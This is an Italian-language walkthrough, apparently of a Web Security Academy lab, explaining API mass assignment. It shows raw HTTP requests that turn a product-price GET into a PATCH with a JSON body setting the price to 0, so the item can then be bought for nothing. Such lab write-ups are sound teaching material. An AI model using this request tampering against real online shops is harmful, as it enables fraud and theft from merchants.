tags: API API_Mass_Assignment API_Vulnerabilty API_OWASP_TOP_10


Si verifica quando un’applicazione prende l’input dell’utente e lo associa direttamente a oggetti interni del database senza filtrare quali proprietà l’utente può effettivamente modificare.

Per esempio se ci fosse un e-commerce con una lista di prodotti a determintati prezzi e fosse vulenerabile a questo tipo di attacco si potrebbe modificare il prezzo dei prodotti tramite una manipolazione delle richieste HTTP e del prezzo in formato JSON.

Ecco un esempio:

Per prima cosa bisogna trovare l’endpoit API che gestiste i prezzi dei prodotti, in questo esempio è la seguente con endpoit /api/products/1/price, in genere sono /api/products/... , /v1/... o simili.

Ecco la richiesta all’endpoit /api/products/1/price:

GET /api/products/1/price HTTP/2
Host: 0ab8002b0404e3e58043c1f200bc0080.web-security-academy.net
Cookie: session=cXK6391GHkTKEcWJ3KDOzuQU2AqsHP5A
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ab8002b0404e3e58043c1f200bc0080.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
 

Ora la proviamo a modificare cambiando il metodo da GET a per esempio PATCH e osserva come si comporta. Se ricevi un errore dopo aver cambiato il metodo in PATCH, non fermarti. Gli sviluppatori spesso lasciano messaggi di errore informativi.

  • Se invii PATCH /api/products/1 senza corpo, l’API potrebbe rispondere: "Content-Type 'application/x-www-form-urlencoded' not supported" o "Missing parameter: price".

  • Cambia il Content-Type in application/json.

  • Aggiungi un corpo JSON vuoto {} e osserva l’errore. L’API ti dirà quali campi si aspetta.

Seguendo gli errori, dovresti arrivare a costruire una richiesta simile a questa:

PATCH /api/products/1/price HTTP/2
Host: 0ab8002b0404e3e58043c1f200bc0080.web-security-academy.net
Content-Type: application/json
 
{
    "price": 0
}

Se l’API è vulnerabile, riceverai un 200 OK e il prezzo del prodotto nel database verrà aggiornato a 0 (o a un valore molto basso).

Una volta fatto ti basterà aquistare il prodotto al prezzo da noi fissato.